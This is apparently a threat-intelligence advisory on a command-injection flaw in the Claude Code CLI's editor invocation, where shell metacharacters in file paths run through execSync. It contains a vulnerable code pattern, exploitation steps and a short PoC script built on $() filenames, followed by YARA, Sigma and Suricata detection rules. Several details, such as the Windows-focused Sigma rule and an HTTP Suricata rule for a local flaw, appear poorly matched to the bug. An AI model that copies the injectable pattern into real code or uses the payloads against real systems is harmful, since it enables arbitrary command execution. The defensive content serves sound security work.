CVE-2026-35021

Executive Summary

CVE-2026-35021 is a critical OS command injection vulnerability affecting the Anthropic Claude Code CLI and Claude Agent SDK. The flaw resides in the prompt editor invocation utility, where user-supplied file paths containing shell metacharacters (e.g., $(), backticks) are interpolated into shell commands executed via execSync. Despite the file path being wrapped in double quotes, POSIX shell semantics (POSIX §2.2.3) allow command substitution within double quotes, enabling arbitrary command execution with the privileges of the user running the CLI. The CVSS score is 7.8 (High), and no patch is currently available. This vulnerability is particularly dangerous in CI/CD pipelines or shared development environments where an attacker can craft a malicious file path to gain code execution.

Supply Chain & Package Security

This vulnerability affects the Anthropic Claude Code CLI and Claude Agent SDK, which are distributed as packages (likely via npm or PyPI). Users should verify the integrity of their installations and monitor for updates from Anthropic. The lack of a patch means that supply chain attacks could be facilitated if an attacker compromises the package distribution channel or if users are tricked into using malicious file paths.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – The attacker must have local access to the system or be able to influence a file path used by the CLI.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required; the vulnerability is straightforward to exploit.
• Privileges Required (PR): Low (PR:L) – The attacker needs low-level privileges to craft a malicious file path.
• User Interaction (UI): Required (UI:R) – The victim must invoke the prompt editor with the malicious file path.
• Scope (S): Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (C:H) – Arbitrary commands can read sensitive files.
• Integrity (I): High (I:H) – Arbitrary commands can modify or delete data.
• Availability (A): High (A:H) – Arbitrary commands can disrupt system availability.

Threat Level: High. The vulnerability allows arbitrary command execution with user privileges, making it a prime target for initial access, privilege escalation, or lateral movement in development environments.

Deep Dive & Mechanics

The vulnerability exists in the prompt editor invocation utility of the Claude Code CLI and Claude Agent SDK. When a user opens a file for editing (e.g., via a command like claude edit malicious.txt), the CLI constructs a shell command to invoke the editor. The file path is interpolated into the command string, which is then executed via execSync. Although the file path is wrapped in double quotes, POSIX shell semantics allow command substitution within double quotes. For example, a file path like $(malicious_command) or `malicious_command` will be evaluated by the shell, leading to arbitrary command execution.

The vulnerable code pattern is similar to:

const command = `editor "${filePath}"`;
execSync(command);

An attacker can craft a file path such as "; $(id > /tmp/pwned); " to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: filePath is interpolated into shell command
function openEditor(filePath) {
  const command = `editor "${filePath}"`;
  execSync(command);
}

Patched Code (Conceptual):

// Patched: Use execFile to avoid shell interpretation
function openEditor(filePath) {
  const sanitizedPath = filePath.replace(/[^a-zA-Z0-9_\/\.\-]/g, '');
  execFile('editor', [sanitizedPath]);
}

The patched version uses execFile instead of execSync to avoid shell interpretation, or sanitizes the file path to remove shell metacharacters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a system with Claude Code CLI or Claude Agent SDK installed.
• Ability to create a file with a malicious name or trick a user into opening a malicious file.

Exploitation Steps:

1. Create a file with a malicious name containing command substitution:

   touch '$(id > /tmp/pwned).txt'
   

2. Invoke the prompt editor on the malicious file:

   claude edit '$(id > /tmp/pwned).txt'
   

3. The command id > /tmp/pwned will be executed, and the output will be written to /tmp/pwned.

Proof of Concept (PoC) Script:

#!/bin/bash
# CVE-2026-35021 PoC
echo "Creating malicious file..."
touch '$(echo "PWNED" > /tmp/pwned).txt'
echo "Invoking Claude editor..."
claude edit '$(echo "PWNED" > /tmp/pwned).txt'
echo "Checking for compromise..."
cat /tmp/pwned

Blue Team

Detection:

• Monitor for file creation events with names containing shell metacharacters ($, `, ;, |, &).
• Monitor for execSync or exec calls in Node.js processes that involve user-supplied file paths.
• Use process monitoring to detect unexpected child processes spawned by the Claude CLI.

Hunting:

• Search for file paths containing $( or ` in logs.
• Look for anomalous command-line arguments passed to the Claude CLI.

Indicators of Compromise (IOCs)

• File Paths: File names containing $( or ` (e.g., $(malicious_command).txt).
• Process Trees: Parent process claude spawning unexpected child processes (e.g., sh, bash, id, curl).
• Log Entries: Shell command execution logs showing editor with suspicious arguments.
• Network Connections: Outbound connections from the Claude CLI to unexpected IPs (if the injected command downloads a payload).
• File System: Creation of files in unexpected locations (e.g., /tmp/pwned).

Detection Engineering

YARA Rule

rule CVE_2026_35021_Command_Injection {
    meta:
        description = "Detects malicious file paths used in CVE-2026-35021 exploitation"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35021"
    strings:
        $cmd_sub = /\$\([^)]+\)/  // Matches $() patterns
        $backtick = /`[^`]+`/     // Matches backtick patterns
        $semicolon = /;[^;]*;/    // Matches semicolon patterns
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-35021 - OS Command Injection via Malicious File Path
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of Claude CLI with file paths containing shell metacharacters
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\node.exe'
        CommandLine|contains:
            - 'claude'
            - 'editor'
        CommandLine|re: '.*\$\(.*\).*'
        CommandLine|re: '.*`.*`.*'
    condition: selection
falsepositives:
    - Legitimate use of file paths with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-35021 - Potential Command Injection via Claude CLI"; flow:to_server,established; content:"claude"; http_uri; pcre:"/\$\([^)]+\)/"; pcre:"/`[^`]+`/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the prompt editor utility if not required, or restrict its use to trusted file paths only.
2. Implement input validation to reject file paths containing shell metacharacters ($, `, ;, |, &, (, ), {, }, <, >, !, #, *, ?, [, ], ~).
3. Use execFile instead of execSync to avoid shell interpretation of arguments.
4. Apply the principle of least privilege to the user running the Claude CLI.

Long-Term Fixes:

• Patch the software once Anthropic releases an update.
• Implement a Content Security Policy (CSP) for web-based interfaces.
• Conduct a security audit of all shell command invocations in the codebase.

Workarounds:

• Use a wrapper script that sanitizes file paths before passing them to the Claude CLI.
• Run the Claude CLI in a sandboxed environment (e.g., Docker container with read-only filesystem).

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 071C73B6082F109B0CBF6066] */}